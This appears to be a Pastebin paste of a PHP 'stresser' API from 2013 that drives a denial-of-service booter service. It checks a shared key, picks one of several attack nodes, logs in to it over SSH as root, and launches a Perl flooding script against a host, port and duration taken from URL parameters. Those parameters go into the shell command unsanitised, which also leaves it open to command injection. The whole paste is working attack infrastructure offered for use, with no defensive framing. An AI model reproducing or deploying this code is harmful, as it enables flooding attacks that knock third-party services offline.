Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //
- // php stresser api
- // 2013 crayawm
- //
- function sendAttack($host, $port, $time) {
- $node = rand(1, 2); //set the number of nodes in the second number
- if($node == 1) { $con = ssh2_connect("NODE IP", 22); } //define your nodes here
- if($node == 2) { $con = ssh2_connect("NODE IP", 22); }
- if(!$con) {
- echo('Error: Could not connect to node. Contact an admin.');
- }
- else {
- if(!ssh2_auth_password($con, "root", "VPS ROOT PASS")) {
- echo('Error: Could not authenticate node. Contact an admin.');
- }
- else {
- echo('Sending Attack...<br />');
- if(!ssh2_exec($con, "nohup /usr/bin/perl /home/dos.pl $host $port 2048 $time")) { //place dos.pl in /home/ and change the number here to your packet size
- echo('Error: Could not initiate node. Contact an admin.');
- }
- else {
- echo ('Attack sent successfully for '.$time.' seconds on port '.$port.' to host '.$host.'.');
- }
- }
- }
- }
- if(isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])) {
- $key = $_GET['key'];
- $host = $_GET['host'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- if($key == "SECRET API KEY") { //set a key here
- sendAttack($host, $port, $time);
- }
- else {
- die("Wrong key.");
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement